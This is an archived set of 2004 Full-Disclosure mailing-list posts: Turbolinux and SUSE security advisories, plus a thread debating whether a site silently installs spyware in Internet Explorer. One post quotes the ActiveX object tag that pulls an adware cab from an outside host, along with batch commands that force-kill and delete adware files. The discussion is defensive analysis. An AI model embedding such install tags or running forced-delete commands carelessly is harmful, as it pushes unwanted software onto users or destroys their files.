|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- application/octet-stream attachment: Price.cpl
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
[Full-Disclosure] [TURBOLINUX SECURITY INFO] 05/Oct/2004
From: Turbolinux (security-announce
turbolinux.co.jp)
Date: Tue Oct 05 2004 - 08:30:17 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
This is an announcement only email list for the x86 architecture.
============================================================
Turbolinux Security Announcement 05/Oct/2004
============================================================
The following page contains the security information of Turbolinux Inc.
- Turbolinux Security Center
http://www.turbolinux.com/security/
(1) squid -> DoS vulnerability in squid
(2) ImageMagick -> Multiple buffer overflow vulnerabilities in ImageMagick
===========================================================
* squid -> DoS vulnerability in squid
===========================================================
More information :
Squid is a high-performance proxy caching server for web clients, supporting
FTP, gopher, and HTTP data objects. Unlike traditional caching software,
Squid handles all requests in a single, non-blocking, I/O-driven process.
A vulnerability in the NTLM helpers in squid.
Impact :
The vulnerabilities allow remote attackers to cause a denial of service of sauid server services.
Affected Products :
- Turbolinux Appliance Server 1.0 Hosting Edition
- Turbolinux Appliance Server 1.0 Workgroup Edition
- Turbolinux 8 Server
- Turbolinux 8 Workstation
- Turbolinux 7 Server
- Turbolinux 7 Workstation
Solution :
Please use the turbopkg (zabom) tool to apply the update.
---------------------------------------------
[Turbolinux 10 Desktop, Turbolinux 10 F...]
# zabom -u squid
[other]
# turbopkg
or
# zabom update squid
---------------------------------------------
<Turbolinux Appliance Server 1.0 Hosting Edition>
Source Packages
Size : MD5
squid-2.5.STABLE6-11.src.rpm
1538211 ff3e34c4b8c71d250f2781179ceec73a
Binary Packages
Size : MD5
squid-2.5.STABLE6-11.i586.rpm
825195 85c3b583674e0ac0695c4cbf0404e586
<Turbolinux Appliance Server 1.0 Workgroup Edition>
Source Packages
Size : MD5
squid-2.5.STABLE6-11.src.rpm
1538211 6b6d400ee15ee97ac6f7e98fbea26e50
Binary Packages
Size : MD5
squid-2.5.STABLE6-11.i586.rpm
825663 bed921f91e657975cc6c72d2ea8f29d4
<Turbolinux 8 Server>
Source Packages
Size : MD5
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/squid-2.5.STABLE6-11.src.rpm
1538211 b28eeeb88347c668fdb9938c4c1cd438
Binary Packages
Size : MD5
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/squid-2.5.STABLE6-11.i586.rpm
825370 335f0fe78cfb204c86ff5b05d12bfd34
<Turbolinux 8 Workstation>
Source Packages
Size : MD5
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/squid-2.5.STABLE6-11.src.rpm
1538211 181d72c2668f72b6e50190f784421bed
Binary Packages
Size : MD5
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/squid-2.5.STABLE6-11.i586.rpm
825810 5e52e49f4be6e555f57b38ffb241c455
<Turbolinux 7 Server>
Source Packages
Size : MD5
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/squid-2.5.STABLE6-11.src.rpm
1538211 45fd66fc13713b40beb996f664460f0e
Binary Packages
Size : MD5
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/squid-2.5.STABLE6-11.i586.rpm
829880 e2a6cf6b67a7c74249b23bce5a4adedf
<Turbolinux 7 Workstation>
Source Packages
Size : MD5
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/SRPMS/squid-2.5.STABLE6-11.src.rpm
1538211 191eab57b2adcecf91ceb4b34c94de09
Binary Packages
Size : MD5
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/squid-2.5.STABLE6-11.i586.rpm
830034 d6142042afcd410376e5a875c5436bc9
Notice :
After performing the update, it is necessary to restart the squid daemon.
To do this, run the following command as user root.
---------------------------------------------
# /etc/init.d/squid restart
or
# /etc/rc.d/init.d/squid restart
---------------------------------------------
References:
CVE
[CAN-2004-0832]
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0832
===========================================================
* ImageMagick -> Multiple buffer overflow vulnerabilities in ImageMagick
===========================================================
More information :
ImageMagick(TM) is an image display and manipulation tool for the X
Window System. ImageMagick can read and write JPEG, TIFF, PNM, GIF and
Photo CD image file formats.
Multiple buffer overflow vulnerabilities in ImageMagick allowing remote
attackers to execute arbitrary code via a malformed image or video file.
Impact :
These vulnerabilities may allow remote attackers to execute arbitrary
code via a malformed image or video file in AVI or BMP formats.
Affected Products :
- Turbolinux 10 F...
- Turbolinux 10 Desktop
- Turbolinux 8 Server
- Turbolinux 8 Workstation
- Turbolinux 7 Server
- Turbolinux 7 Workstation
Solution :
Please use the turbopkg (zabom) tool to apply the update.
---------------------------------------------
[Turbolinux 10 Desktop, Turbolinux 10 F...]
# zabom -u ImageMagick ImageMagick-devel
[other]
# turbopkg
or
# zabom update ImageMagick ImageMagick-devel
---------------------------------------------
<Turbolinux 10 Desktop, Turbolinux 10 F...>
Source Packages
Size : MD5
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/SRPMS/ImageMagick-5.5.7-5.src.rpm
5274681 6a9d3c1b208049830e7086b9aae75fe7
Binary Packages
Size : MD5
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/ImageMagick-5.5.7-5.i586.rpm
2397224 dea16cf3ee2ce38381e3d2679ad8fa3c
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/ImageMagick-devel-5.5.7-5.i586.rpm
555804 840cc5d2ec79afd5cfdbf4223f625195
<Turbolinux 8 Server>
Source Packages
Size : MD5
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/ImageMagick-5.4.7-1.src.rpm
3614849 bb43185f084dd6e32f10694f35fb513d
Binary Packages
Size : MD5
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/ImageMagick-5.4.7-2.i586.rpm
3207676 6839799de74d7439334a875a097b6049
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/ImageMagick-c++-5.4.7-2.i586.rpm
1392173 d0af80e68a129fd41d301b7ec3469ff5
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/ImageMagick-devel-5.4.7-2.i586.rpm
855821 be80bb2b23c8b87ab831bb99201b85c8
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/ImageMagick-perl-5.4.7-2.i586.rpm
60163 1281a234915115227a2bb2fa5071d6c7
<Turbolinux 8 Workstation>
Source Packages
Size : MD5
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/ImageMagick-5.4.3-3.src.rpm
3665019 ae1a64cf87ea0e6598ca147abd3349e4
Binary Packages
Size : MD5
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/ImageMagick-5.4.3-3.i586.rpm
3668565 d065de9b0d5a58b6393cc4805e0eb405
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/ImageMagick-devel-5.4.3-3.i586.rpm
971835 df0dda9a20ad43b2a8b3ee7a5313f6a8
<Turbolinux 7 Server>
Source Packages
Size : MD5
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/ImageMagick-5.3.3-3.src.rpm
3656626 6197f1b2ff6d1a831d532a3fce210f94
Binary Packages
Size : MD5
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/ImageMagick-5.3.3-3.i586.rpm
3038600 0276001bdf52d75ab65dcac7ff4ebb49
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/ImageMagick-devel-5.3.3-3.i586.rpm
1267440 9e21404db4bf10a005a89f974fd8558e
<Turbolinux 7 Workstation>
Source Packages
Size : MD5
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/SRPMS/ImageMagick-5.3.3-3.src.rpm
3656626 084f8247af6313928f5dcdae20ed9713
Binary Packages
Size : MD5
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/ImageMagick-5.3.3-3.i586.rpm
3039080 e3ca8b73f9a5f6cbaf8a136d121fdebf
ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/ImageMagick-devel-5.3.3-3.i586.rpm
1267050 a3e0ef2ac5bd589f453f5ab529981fab
References:
CVE
[CAN-2004-0827]
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0827
* You may need to update the turbopkg tool before applying the update.
Please refer to the following URL for detailed information.
http://www.turbolinux.com/download/zabom.html
http://www.turbolinux.com/download/zabomupdate.html
Package Update Path
http://www.turbolinux.com/update
============================================================
* To obtain the public key
Here is the public key
http://www.turbolinux.com/security/
* To unsubscribe from the list
If you ever want to remove yourself from this mailing list,
you can send a message to <server-users-e-ctl
turbolinux.co.jp> with
the word `unsubscribe' in the body (don't include the quotes).
unsubscribe
* To change your email address
If you ever want to chage email address in this mailing list,
you can send a message to <server-users-e-ctl
turbolinux.co.jp> with
the following command in the message body:
chaddr 'old address' 'new address'
If you have any questions or problems, please contact
<supp_info
turbolinux.co.jp>
Thank you!
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)
iD8DBQFBYqHtK0LzjOqIJMwRAgNPAJ9TkkL73895x0W7UXTix5/7Ai6vRQCgr1s5
D6e2lOCXUmCWuYNVxpgAvWY=
=qIgj
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
RE: [Full-Disclosure] Spyware installs with no interaction in IE on fully patched XP SP2 box
From: Castigliola, Angelo (ACastigliola
unumprovident.com)
Date: Tue Oct 05 2004 - 09:50:02 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
I am sure there is a configuration setting or software (perhaps the
software made the configuration change) that is preventing this from
installing on your computer.
I tested with a default XP SP1 install with all the Microsoft Updates
that have been applied to stop this type of IE hack. The spyware still
installs itself on the machine.
XP SP1 with the following patches:
http://support.microsoft.com/default.aspx?scid=kb;en-us;814078
http://support.microsoft.com/default.aspx?scid=kb;en-us;816093
http://support.microsoft.com/default.aspx?scid=kb;en-us;823182
http://support.microsoft.com/default.aspx?scid=kb;en-us;825119
http://support.microsoft.com/default.aspx?scid=kb;en-us;832894
http://support.microsoft.com/default.aspx?scid=kb;en-us;835732
http://support.microsoft.com/default.aspx?scid=kb;en-us;840374
http://support.microsoft.com/default.aspx?scid=kb;en-us;840315
http://support.microsoft.com/default.aspx?scid=kb;en-us;839645
http://support.microsoft.com/default.aspx?scid=kb;en-us;867801
These are _ALL_ the Microsoft Updates that specifically patch up IE
holes.
My question to the forum is: If this is not a 0-day IE exploit that
allows software to install on a computer with no user interaction then
what Microsoft Update applies to this exploit?
Again I fear there is no Microsoft Update available that will fix this
hole.
Can someone confirm that a Default install of XP SP2 with all patches
will not stop spyware from themexp.org from installing?
Angelo Castigliola III
Operations Technical Analyst I
UnumProvident IT Services
207.575.3820
-----Original Message-----
From: full-disclosure-admin
lists.netsys.com
[mailto:full-disclosure-admin
lists.netsys.com] On Behalf Of Alla
Bezroutchko
Sent: Tuesday, October 05, 2004 7:01 AM
To: full-disclosure
lists.netsys.com
Subject: Re: [Full-Disclosure] Spyware installs with no interaction in
IE on fully patched XP SP2 box
Carr, Robert wrote:
> Interesting...
>
> I just went there, and he's right. Atpartners.cab installed without
> permission. My McAfee picked it right up as Atpartners.dll, downloaded
> to Temp Internet files. Spyware detected as NetPals. On the other
> hand, I'm admin of my machine, I wonder if a "user" would get an error
> message about not having the correct rights...
I have tested it on Windows XP SP2 and on fully patched Windows 2000. In
both cases _nothing_ gets run or installed. Both systems are more or
less standard installations without any special IE hardening (except
patches).
When I surf to the site with Windows XP "Installing components...
ATpartners.cab" briefly appears in the status bar and then the site gets
displayed. Under the normal browser bars there is a message saying "The
site might require the following ActiveX control: FREE on-line games and
special offers from... Click here to install...". I don't click on it.
Searching the disk for atpartnets.cab or atpartners.dll finds nothing.
The CLSID of the ActiveX control only appears in the registry in
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\"
.
With Windows 2000 I also get "Installing components... ATpartners.cab"
in the status bar and then the dialog box asking if I want to install
"Free online games from ATgames.com". This is a usual dialog box you get
when a page attempts to install an ActiveX control. If I click "No",
nothing gets installed, no atpartners files on the file system, no
traces of the CLSID in the registry.
I suppose the cab file gets downloaded so that Windows can read and
display the signature of the file. It does not get run or installed
unless explicitly permitted by user.
So, as far as I can see this is no 0-day.
Alla.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Re: [Full-Disclosure] Spyware installs ... XP SP2 box
From: raize (raize
gravito.com)
Date: Tue Oct 05 2004 - 08:29:25 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
The installed code is definitely:
<object id="DDownload_UL1" classid="clsid:00000EF1-0786-4633-87C6-1AA7A44296DA" codebase="http://www.addictivetechnologies.net/DM0/cab/ATPartners.cab" HEIGHT=0 WIDTH=0></object>
However, there is no exploit here. I loaded this with a default honeypot image of XPSP2 with IE as an Admin and nothing else installed other than the drop down that asked me if I really wanted to trust this site for installing an executable.
One must assume that you are installing these "theme packs" via some BHO (Browser Helper Object) that you installed previously or put the site on the "Always trust content from this provider". Perhaps someone else can explain where I am missing the exploit, because a quick glance over seems to indicate there is none for XP SP2. (I did not test this on SP1)
Spybot and Ad-aware do not catch and kill WinRebates and WinAd spy/adware properly, but I have a batch command that will do it for you. Included is a .zip of each IP contacted along with full URL request and output. It also contains the contents of this email and the batch file with these commands: (You'll want to rename the .txt to .bat)
--------------------------------------------
cd "C:\Program Files\Winad Client"
taskkill /T /F /IM WinClt.exe
taskkill /T /F /IM WinAd.exe
erase WinClt.exe
erase WinAd.exe
cd ..
cd Web_Rebates
taskkill /T /F /IM WebRebates0.exe
taskkill /T /F /IM WebRebates1.exe
erase WebRebates0.exe
erase WebRebates1.exe
cd ..
rd /Q /S "Winad Client"
rd /Q /S "Web_Rebates"
cd "C:\Windows\system32"
taskkill /T /F /IM fjdria.exe
taskkill /T /F /IM ezSP_Px.exe
erase fjdria.exe
erase ezSP_Px.exe
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
- application/octet-stream attachment: themexp.zip
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
[Full-Disclosure] SUSE Security Announcement: samba (SUSE-SA:2004:035)
From: Thomas Biege (thomas
suse.de)
Date: Tue Oct 05 2004 - 09:57:52 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
-----BEGIN PGP SIGNED MESSAGE-----
______________________________________________________________________________
SUSE Security Announcement
Package: samba
Announcement-ID: SUSE-SA:2004:035
Date: Tuesday, Oct 5th 2004 16:53:01 MEST
Affected products: 8.1, 8.2, 9.0
SUSE Linux Enterprise Server 8
SUSE Linux Desktop 1.0
Vulnerability Type: remote file disclosure
Severity (1-10): 6
SUSE default package: Yes
Cross References: CAN-2004-0815
Content of this advisory:
1) security vulnerability resolved:
- Samba file access problem
problem description
2) solution/workaround
3) special instructions and notes
4) package location and checksums
5) pending vulnerabilities, solutions, workarounds:
- opera
- kernel
- mozilla
6) standard appendix (further information)
______________________________________________________________________________
1) problem description, brief discussion
The Samba server, which allows to share files and resources via
the SMB/CIFS protocol, contains a bug in the sanitation code of path
names which allows remote attackers to access files outside of the
defined share. In order to access these files, they must be readable
by the account used for the SMB session.
CAN-2004-0815 has been assigned to this issue.
2) solution/workaround
As a temporary workaround you can set the
wide links = no
option in smb.conf and restart the samba server. However an update
is recommended nevertheless.
3) special instructions and notes
After successfully updating the samba package, you need to issue the
following command as root:
rcsmb restart
4) package location and checksums
Please download the update package for your distribution and verify its
integrity by the methods listed in section 3) of this announcement.
Then, install the package using the command "rpm -Fhv file.rpm" to apply
the update.
Our maintenance customers are being notified individually. The packages
are being offered to install from the maintenance web.
SUSE Linux 9.0:
ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/samba-2.2.8a-226.i586.rpm
eb71869029b35d2a97d55e26514524db
patch rpm(s):
ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/samba-2.2.8a-226.i586.patch.rpm
48bb3e455079fcfdf4ad2baa28f28557
source rpm(s):
ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/samba-2.2.8a-226.src.rpm
d162ea5a39b14ee16ae1c6d5df9211bb
SUSE Linux 8.2:
ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/samba-2.2.8a-225.i586.rpm
79b0514a827bdd782e6d3f62bb92fb85
patch rpm(s):
ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/samba-2.2.8a-225.i586.patch.rpm
a50dd448212245d51e9ac59ae50514e8
source rpm(s):
ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/samba-2.2.8a-225.src.rpm
25d488678b607b3c67612ee065abd77a
SUSE Linux 8.1:
ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/samba-2.2.8a-224.i586.rpm
93d0fb2502f30593548dbe2f41ec8948
patch rpm(s):
ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/samba-2.2.8a-224.i586.patch.rpm
da5b107fb71c5daf5972b6e0aaca4f5c
source rpm(s):
ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/samba-2.2.8a-224.src.rpm
e0b9f9af6c5348cb9840b5d98a1c59dc
x86-64 Platform:
SUSE Linux 9.0:
ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/samba-2.2.8a-226.x86_64.rpm
0f1c94aa23653b0cf9b318646d9153af
patch rpm(s):
ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/samba-2.2.8a-226.x86_64.patch.rpm
569974c359702c263b0968ce8fb9810f
source rpm(s):
ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/samba-2.2.8a-226.src.rpm
75c1a01d03af42835809691840eaa331
______________________________________________________________________________
5) Pending vulnerabilities in SUSE Distributions and Workarounds:
- opera
New opera packages are available on our ftp servers, fixing
CAN-2004-0691, CAN-2004-0597, CAN-2004-0598, CAN-2004-0599 and
CAN-2004-0746.
- kernel
Update kernels for the kNFSd problem for SLES 8 and SL 8.1 have been
released.
- mozilla
We are in the process of releasing updates for mozilla (and related
browsers), fixing various issues: CAN-2004-0597, CAN-2004-0718,
CAN-2004-0722, CAN-2004-0757, CAN-2004-0758, CAN-2004-0759,
CAN-2004-0760, CAN-2004-0761, CAN-2004-0762, CAN-2004-0763,
CAN-2004-0764 and CAN-2004-0765.
We will give you concrete details in a separate mozilla advisory when
the updates are available.
______________________________________________________________________________
6) standard appendix: authenticity verification, additional information
- Package authenticity verification:
SUSE update packages are available on many mirror ftp servers all over
the world. While this service is being considered valuable and important
to the free and open source software community, many users wish to be
sure about the origin of the package and its content before installing
the package. There are two verification methods that can be used
independently from each other to prove the authenticity of a downloaded
file or rpm package:
1) md5sums as provided in the (cryptographically signed) announcement.
2) using the internal gpg signatures of the rpm package.
1) execute the command
md5sum <name-of-the-file.rpm>
after you downloaded the file from a SUSE ftp server or its mirrors.
Then, compare the resulting md5sum with the one that is listed in the
announcement. Since the announcement containing the checksums is
cryptographically signed (usually using the key security
suse.de),
the checksums show proof of the authenticity of the package.
We disrecommend to subscribe to security lists which cause the
email message containing the announcement to be modified so that
the signature does not match after transport through the mailing
list software.
Downsides: You must be able to verify the authenticity of the
announcement in the first place. If RPM packages are being rebuilt
and a new version of a package is published on the ftp server, all
md5 sums for the files are useless.
2) rpm package signatures provide an easy way to verify the authenticity
of an rpm package. Use the command
rpm -v --checksig <file.rpm>
to verify the signature of the package, where <file.rpm> is the
filename of the rpm package that you have downloaded. Of course,
package authenticity verification can only target an un-installed rpm
package file.
Prerequisites:
a) gpg is installed
b) The package is signed using a certain key. The public part of this
key must be installed by the gpg program in the directory
~/.gnupg/ under the user's home directory who performs the
signature verification (usually root). You can import the key
that is used by SUSE in rpm packages for SUSE Linux by saving
this announcement to a file ("announcement.txt") and
running the command (do "su -" to be root):
gpg --batch; gpg < announcement.txt | gpg --import
SUSE Linux distributions version 7.1 and thereafter install the
key "build
suse.de" upon installation or upgrade, provided that
the package gpg is installed. The file containing the public key
is placed at the top-level directory of the first CD (pubring.gpg)
and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de .
- SUSE runs two security mailing lists to which any interested party may
subscribe:
suse-security
suse.com
- general/linux/SUSE security discussion.
All SUSE security announcements are sent to this list.
To subscribe, send an email to
<suse-security-subscribe
suse.com>.
suse-security-announce
suse.com
- SUSE's announce-only mailing list.
Only SUSE's security announcements are sent to this list.
To subscribe, send an email to
<suse-security-announce-subscribe
suse.com>.
For general information or the frequently asked questions (faq)
send mail to:
<suse-security-info
suse.com> or
<suse-security-faq
suse.com> respectively.
=====================================================================
SUSE's security contact is <security
suse.com> or <security
suse.de>.
The <security
suse.de> public key is listed below.
=====================================================================
______________________________________________________________________________
The information in this advisory may be distributed or reproduced,
provided that the advisory is not modified in any way. In particular,
it is desired that the clear-text signature shows proof of the
authenticity of the text.
SUSE Linux AG makes no warranties of any kind whatsoever with respect
to the information contained in this security advisory.
Type Bits/KeyID Date User ID
pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team <security
suse.de>
pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key <build
suse.de>
- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org
mQGiBDnu9IERBACT8Y35+2vv4MGVKiLEMOl9GdST6MCkYS3yEKeueNWc+z/0Kvff
4JctBsgs47tjmiI9sl0eHjm3gTR8rItXMN6sJEUHWzDP+Y0PFPboMvKx0FXl/A0d
M+HFrruCgBlWt6FA+okRySQiliuI5phwqkXefl9AhkwR8xocQSVCFxcwvwCglVcO
QliHu8jwRQHxlRE0tkwQQI0D+wfQwKdvhDplxHJ5nf7U8c/yE/vdvpN6lF0tmFrK
XBUX+K7u4ifrZlQvj/81M4INjtXreqDiJtr99Rs6xa0ScZqITuZC4CWxJa9GynBE
D3+D2t1V/f8l0smsuYoFOF7Ib49IkTdbtwAThlZp8bEhELBeGaPdNCcmfZ66rKUd
G5sRA/9ovnc1krSQF2+sqB9/o7w5/q2qiyzwOSTnkjtBUVKn4zLUOf6aeBAoV6NM
CC3Kj9aZHfA+ND0ehPaVGJgjaVNFhPi4x0e7BULdvgOoAqajLfvkURHAeSsxXIoE
myW/xC1sBbDkDUIBSx5oej73XCZgnj/inphRqGpsb+1nKFvF+rQoU3VTRSBQYWNr
YWdlIFNpZ25pbmcgS2V5IDxidWlsZEBzdXNlLmRlPohcBBMRAgAcBQI57vSBBQkD
wmcABAsKAwQDFQMCAxYCAQIXgAAKCRCoTtronIAKyl8sAJ98BgD40zw0GHJHIf6d
NfnwI2PAsgCgjH1+PnYEl7TFjtZsqhezX7vZvYCIRgQQEQIABgUCOnBeUgAKCRCe
QOMQAAqrpNzOAKCL512FZvv4VZx94TpbA9lxyoAejACeOO1HIbActAevk5MUBhNe
LZa/qM2JARUDBRA6cGBvd7LmAD0l09kBATWnB/9An5vfiUUE1VQnt+T/EYklES3t
XXaJJp9pHMa4fzFa8jPVtv5UBHGee3XoUNDVwM2OgSEISZxbzdXGnqIlcT08TzBU
D9i579uifklLsnr35SJDZ6ram51/CWOnnaVhUzneOA9gTPSr+/fT3WeVnwJiQCQ3
0kNLWVXWATMnsnT486eAOlT6UNBPYQLpUprF5Yryk23pQUPAgJENDEqeU6iIO9Ot
1ZPtB0lniw+/xCi13D360o1tZDYOp0hHHJN3D3EN8C1yPqZd5CvvznYvB6bWBIpW
cRgdn2DUVMmpU661jwqGlRz1F84JG/xe4jGuzgpJt9IXSzyohEJB6XG5+D0BiF0E
ExECAB0FAjxqqTQFCQoAgrMFCwcKAwQDFQMCAxYCAQIXgAAKCRCoTtronIAKyp1f
AJ9dR7saz2KPNwD3U+fy/0BDKXrYGACfbJ8fQcJqCBQxeHvt9yMPDVq0B0W5Ag0E
Oe70khAIAISR0E3ozF/la+oNaRwxHLrCet30NgnxRROYhPaJB/Tu1FQokn2/Qld/
HZnh3TwhBIw1FqrhWBJ7491iAjLR9uPbdWJrn+A7t8kSkPaF3Z/6kyc5a8fas44h
t5h+6HMBzoFCMAq2aBHQRFRNp9Mz1ZvoXXcI1lk1l8OqcUM/ovXbDfPcXsUVeTPT
tGzcAi2jVl9hl3iwJKkyv/RLmcusdsi8YunbvWGFAF5GaagYQo7YlF6UaBQnYJTM
523AMgpPQtsKm9o/w9WdgXkgWhgkhZEeqUS3m5xNey1nLu9iMvq9M/iXnGz4sg6Q
2Y+GqZ+yAvNWjRRou3zSE7Bzg28MI4sAAwYH/2D71Xc5HPDgu87WnBFgmp8MpSr8
QnSs0wwPg3xEullGEocolSb2c0ctuSyeVnCttJMzkukL9TqyF4s/6XRstWirSWaw
JxRLKH6Zjo/FaKsshYKf8gBkAaddvpl3pO0gmUYbqmpQ3xDEYlhCeieXS5MkockQ
1sj2xYdB1xO0ExzfiCiscUKjUFy+mdzUsUutafuZ+gbHog1CN/ccZCkxcBa5IFCH
ORrNjq9pYWlrxsEn6ApsG7JJbM2besW1PkdEoxak74z1senh36m5jQvVjA3U4xq1
wwylxadmmJaJHzeiLfb7G1ZRjZTsB7fyYxqDzMVul6o9BSwO/1XsIAnV1uuITAQY
EQIADAUCOe70kgUJA8JnAAAKCRCoTtronIAKyksiAJsFB3/77SkH3JlYOGrEe1Ol
0JdGwACeKTttgeVPFB+iGJdiwQlxasOfuXyITAQYEQIADAUCPGqpWQUJCgCCxwAK
CRCoTtronIAKyofBAKCSZM2UFyta/fe9WgITK9I5hbxxtQCfX+0ar2CZmSknn3co
SPihn1+OBNyZAQ0DNuEtBAAAAQgAoCRcd7SVZEFcumffyEwfLTcXQjhKzOahzxpo
omuF+HIyU4AGq+SU8sTZ/1SsjhdzzrSAfv1lETACA+3SmLr5KV40Us1w0UC64cwt
A46xowVq1vMlH2Lib+V/qr3b1hE67nMHjysECVx9Ob4gFuKNoR2eqnAaJvjnAT8J
/LoUC20EdCHUqn6v+M9t/WZgC+WNR8cq69uDy3YQhDP/nIan6fm2uf2kSV9A7ZxE
GrwsWl/WX5Q/sQqMWaU6r4az98X3z90/cN+eJJ3vwtA+rm+nxEvyev+jaLuOQBDf
ebh/XA4FZ35xmi+spdiVeJH4F/ubaGlmj7+wDOF3suYAPSXT2QAFEbQlU3VTRSBT
ZWN1cml0eSBUZWFtIDxzZWN1cml0eUBzdXNlLmRlPokBFQMFEDbhLUfkWLKHsco8
RQEBVw4H/1vIdiOLX/7hdzYaG9crQVIk3QwaB5eBbjvLEMvuCZHiY2COUg5QdmPQ
8SlWNZ6k4nu1BLcv2g/pymPUWP9fG4tuSnlUJDrWGm3nhyhAC9iudP2u1YQY37Gb
B6NPVaZiYMnEb4QYFcqv5c/r2ghSXUTYk7etd6SW6WCOpEqizhx1cqDKNZnsI/1X
11pFcO2N7rc6byDBJ1T+cK+F1Ehan9XBt/shryJmv04nli5CXQMEbiqYYMOu8iaA
8AWRgXPCWqhyGhcVD3LRhUJXjUOdH4ZiHCXaoF3zVPxpeGKEQY8iBrDeDyB3wHmj
qY9WCX6cmogGQRgYG6yJqDalLqrDOdmJARUDBRA24S0Ed7LmAD0l09kBAW04B/4p
WH3f1vQn3i6/+SmDjGzUu2GWGq6Fsdwo2hVM2ym6CILeow/K9JfhdwGvY8LRxWRL
hn09j2IJ9P7H1Yz3qDf10AX6V7YILHtchKT1dcngCkTLmDgC4rs1iAAl3f089sRG
BafGPGKv2DQjHfR1LfRtbf0P7c09Tkej1MP8HtQMW9hPkBYeXcwbCjdrVGFOzqx+
AvvJDdT6a+oyRMTFlvmZ83UV5pgoyimgjhWnM1V4bFBYjPrtWMkdXJSUXbR6Q7Pi
RZWCzGRzwbaxqpl3rK/YTCphOLwEMB27B4/fcqtBzgoMOiaZA0M5fFoo54KgRIh0
zinsSx2OrWgvSiLEXXYKiEYEEBECAAYFAjseYcMACgkQnkDjEAAKq6ROVACgjhDM
/3KM+iFjs5QXsnd4oFPOnbkAnjYGa1J3em+bmV2aiCdYXdOuGn4ZiQCVAwUQN7c7
whaQN/7O/JIVAQEB+QP/cYblSAmPXxSFiaHWB+MiUNw8B6ozBLK0QcMQ2YcL6+Vl
